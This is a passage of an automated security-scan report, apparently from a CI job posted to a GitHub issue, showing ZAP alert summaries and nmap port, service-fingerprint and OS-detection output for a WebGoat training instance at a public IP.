  - **Sec-Fetch-User Header is Missing** [90005] total: 4:
    - http://20.198.123.15:8080/
    - http://20.198.123.15:8080/sitemap.xml
    - http://20.198.123.15:8080/WebGoat/login
    - http://20.198.123.15:8080/WebGoat/start.mvc
  - **Session Management Response Identified** [10112] total: 2:
    - http://20.198.123.15:8080/WebGoat/start.mvc
    - http://20.198.123.15:8080/WebGoat/start.mvc
  - **Storable and Cacheable Content** [10049] total: 4:
    - http://20.198.123.15:8080/
    - http://20.198.123.15:8080/robots.txt
    - http://20.198.123.15:8080/sitemap.xml
    - http://20.198.123.15:8080/WebGoat/login

- **User Agent Fuzzer** [10104] total: 24:
  - http://20.198.123.15:8080/WebGoat
  - http://20.198.123.15:8080/WebGoat
  - http://20.198.123.15:8080/WebGoat
  - http://20.198.123.15:8080/WebGoat
  - http://20.198.123.15:8080/WebGoat
  - ..

View the following link to download the report. RunnerID:6774114667

# Priority-Medium Nmap-ParrotOS Scan output

GitHub Issue number # 688

GitHub Issue URL : Here!

**parrotOS**
**nmap**
**"priority Medium"**

Nmap vulnerability scanning
for 20.198.123.15

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.3 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.5 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.6 MB]

Ign:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages

Ign:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [519 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1107 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [19.8 kB]

Ign:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [107 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [214 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetched 19.6 MB in 1min 17s (253 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev

libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2

libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0

libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3

libx11-6 libx11-data libxpm4 locales openssh-client openssh-server

openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13

postgresql-client-common postgresql-common python3-certifi

python3-typing-extensions

49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.8 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev

libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2

libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0

libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3

libx11-6 libx11-data libxpm4 locales openssh-client openssh-server

openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13

postgresql-client-common postgresql-common python3-certifi

python3-typing-extensions

49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.8 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Hit:1 https://deb.parrot.sh/parrot parrot InRelease

Hit:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease

Hit:3 https://deb.parrot.sh/parrot parrot-backports InRelease

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Running basic nmap scan...

Starting Nmap 7.92 ( https://nmap.org ) at 2023-11-11 04:52 UTC

Nmap scan report for 20.198.123.15

Host is up (0.23s latency).

Not shown: 65530 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 256 d6:99:c4:18:b3:b9:24:19:6b:06:8d:e8:61:3d:c9:9b (ECDSA)

|_ 256 2b:c2:39:e7:75:51:6e:b1:0b:f9:5f:3b:58:c2:0c:dc (ED25519)

80/tcp closed http

443/tcp closed https

8080/tcp open http-proxy

| fingerprint-strings:

| FourOhFourRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Sat, 11 Nov 2023 04:57:12 GMT

| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie, WMSRequest, oracle-tns:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close

| GetRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Sat, 11 Nov 2023 04:57:10 GMT

| HTTPOptions:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

|_ Date: Sat, 11 Nov 2023 04:57:11 GMT

|_http-title: Site doesn't have a title.

9090/tcp open zeus-admin?

| fingerprint-strings:

| GenericLines, RTSPRequest, SqueezeCenter_CLI, WMSRequest, ibm-db2-das:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close

| GetRequest:

| HTTP/1.1 404 Not Found

| Expires: 0

| Cache-Control: no-cache, no-store, max-age=0, must-revalidate

| X-XSS-Protection: 1; mode=block

| Pragma: no-cache

| X-Frame-Options: DENY

| Date: Sat, 11 Nov 2023 04:57:10 GMT

| Connection: close

| Vary: Origin

| Vary: Access-Control-Request-Method

| Vary: Access-Control-Request-Headers

| X-Content-Type-Options: nosniff

| Content-Type: application/json

| "timestamp" : "2023-11-11T04:57:10.685+00:00",

| "status" : 404,

| "error" : "Not Found",

| "path" : "/"

| HTTPOptions:

| HTTP/1.1 404 Not Found

| Expires: 0

| Cache-Control: no-cache, no-store, max-age=0, must-revalidate

| X-XSS-Protection: 1; mode=block

| Pragma: no-cache

| X-Frame-Options: DENY

| Date: Sat, 11 Nov 2023 04:57:28 GMT

| Allow: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS, PATCH

| Connection: close

| Vary: Origin

| Vary: Access-Control-Request-Method

| Vary: Access-Control-Request-Headers

| X-Content-Type-Options: nosniff

| Content-Type: application/json

| "timestamp" : "2023-11-11T04:57:28.723+00:00",

| "status" : 404,

| "error" : "Not Found",

|_ "path" : "/"

2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :

==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============

SF-Port8080-TCP:V=7.92%I=7%D=11/11%Time=654F09A6%P=x86_64-pc-linux-gnu%r(G

SF:etRequest,65,"HTTP/1.1 404 Not Found Connection: close\n

SF:r Content-Length: 0 Date: Sat, 11 Nov 2023 04:57:

SF:10 GMT

")%r(HTTPOptions,65,"HTTP/1.1 404 Not Found\n

SF:r Connection: close Content-Length: 0 Date: Sat, 11\n

SF:x20Nov 2023 04:57:11 GMT

")%r(RTSPRequest,42,"HTTP/1.1

SF: 400 Bad Request Content-Length: 0 Connection: clo

SF:se

")%r(FourOhFourRequest,65,"HTTP/1.1 404 Not Found

SF: Connection: close Content-Length: 0 Date: Sat, 11\x

SF:20Nov 2023 04:57:12 GMT

")%r(Socks5,42,"HTTP/1.1 40

SF:0 Bad Request Content-Length: 0 Connection: close

SF: ")%r(GenericLines,42,"HTTP/1.1 400 Bad Request Content

SF:-Length: 0 Connection: close

")%r(Help,42,"HTTP/1.1

SF:0400 Bad Request Content-Length: 0 Connection: close\n

SF:r

")%r(SSLSessionReq,42,"HTTP/1.1 400 Bad Request Con

SF:tent-Length: 0 Connection: close

")%r(TerminalServerCoo

SF:kie,42,"HTTP/1.1 400 Bad Request Content-Length: 0 C

SF:onnection: close

")%r(TLSSessionReq,42,"HTTP/1.1 400 B

SF:ad Request Content-Length: 0 Connection: close

")

SF:%r(Kerberos,42,"HTTP/1.1 400 Bad Request Content-Length:\x

SF:200 Connection: close

")%r(SMBProgNeg,42,"HTTP/1.1 400

SF: Bad Request Content-Length: 0 Connection: close \n

SF:r ")%r(LPDString,42,"HTTP/1.1 400 Bad Request Content-Len

SF:gth: 0 Connection: close

")%r(LDAPSearchReq,42,"HTTP/1\n

SF:.1 400 Bad Request Content-Length: 0 Connection: c

SF:lose

")%r(SIPOptions,42,"HTTP/1.1 400 Bad Request C

SF:ontent-Length: 0 Connection: close

")%r(WMSRequest,42,"

SF:HTTP/1.1 400 Bad Request Content-Length: 0 Connectio

SF:n: close

")%r(oracle-tns,42,"HTTP/1.1 400 Bad Reque

SF:st Content-Length: 0 Connection: close

");

==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============

SF-Port9090-TCP:V=7.92%I=7%D=11/11%Time=654F09A6%P=x86_64-pc-linux-gnu%r(G

SF:etRequest,1EF,"HTTP/1.1 404 Not Found Expires: 0 Cac

SF:he-Control: no-cache, no-store, max-age=0, must-revalidate\n

SF:r X-XSS-Protection: 1; mode=block Pragma: no-cache X-Fr

SF:ame-Options: DENY Date: Sat, 11 Nov 2023 04:57:10\n

SF:x20GMT Connection: close Vary: Origin Vary: Access-Co

SF:ntrol-Request-Method Vary: Access-Control-Request-Headers X-Co

SF:ntent-Type-Options: nosniff Content-Type: application/json

SF: { \"timestamp\" : \"2023-11-11T04:57:10.685+00:00\n

SF:", \"status\" : 404, \"error\" : \"Not

SF:0Found\", \"path\" : \"/\" }")%r(WMSRequest,42,"HTTP/1\n

SF:.1 400 Bad Request Content-Length: 0 Connection: c

SF:lose

")%r(ibm-db2-das,42,"HTTP/1.1 400 Bad Request

SF:Content-Length: 0 Connection: close

")%r(SqueezeCenter_

SF:CLI,42,"HTTP/1.1 400 Bad Request Content-Length: 0 C

SF:onnection: close

")%r(GenericLines,42,"HTTP/1.1 400 Ba

SF:d Request Content-Length: 0 Connection: close

")%

SF:r(HTTPOptions,22B,"HTTP/1.1 404 Not Found Expires: 0 \n

SF:nCache-Control: no-cache, no-store, max-age=0, must-revalid

SF:ate X-XSS-Protection: 1; mode=block Pragma: no-cache

SF:X-Frame-Options: DENY Date: Sat, 11 Nov 2023 04:57

SF::28 GMT Allow: GET, HEAD, POST, PUT, DELETE, TR

SF:ACE, OPTIONS, PATCH Connection: close Vary: Origin \n

SF:nVary: Access-Control-Request-Method Vary: Access-Control-Requ

SF:est-Headers X-Content-Type-Options: nosniff Content-Type: a

SF:pplication/json

{ \"timestamp\" : \"2023-11-11T04

SF::57:28.723+00:00\", \"status\" : 404, \"error

SF:\" : \"Not Found\", \"path\" : \"/\" }")%r(RTS

SF:PRequest,42,"HTTP/1.1 400 Bad Request Content-Length: 0

SF: Connection: close

");

Device type: general purpose|storage-misc|firewall

Running (JUST GUESSING): Linux 2.6.X|3.X|4.X (86%), Synology DiskStation Manager 5.X (86%), FreeBSD 6.X (85%), WatchGuard Fireware 11.X (85%)

OS CPE: cpe:/o:linux:linux*kernel:2.6.32 cpe:/o:linux:linux*kernel:3 cpe:/o:linux:linux*kernel:4.4 cpe:/o:linux:linux*kernel cpe:/a:synology:diskstation_manager:5.1 cpe:/o:freebsd:freebsd:6.2 cpe:/o:watchguard:fireware:11.8

Aggressive OS guesses: Linux 2.6.32 (86%), Linux 2.6.39 (86%), Linux 3.10 - 3.12 (86%), Linux 3.4 (86%), Linux 4.4 (86%), Synology DiskStation Manager 5.1 (86%), Linux 3.10 - 3.16 (85%), Linux 4.0 (85%), Linux 2.6.35 (85%), Linux 3.10 (85%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 26 hops

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 443/tcp)

HOP RTT ADDRESS

1 0.01 ms 172.17.0.1

2 ... 25

26 230.62 ms 20.198.123.15

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 396.98 seconds

Running vulnerability scanning using basic nmap scripts - SQL Injection...

Starting Nmap 7.92 ( https://nmap.org ) at 2023-11-11 04:59 UTC

Nmap scan report for 20.198.123.15

Host is up (0.23s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.94 seconds

Running vulnerability scanning using CSS nmap script...

Starting Nmap 7.92 ( https://nmap.org ) at 2023-11-11 04:59 UTC

Nmap scan report for 20.198.123.15

Host is up (0.23s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 1.24 seconds

Conclusion: This is the end of the report. The above logs show the execution traces for various security scanning tools.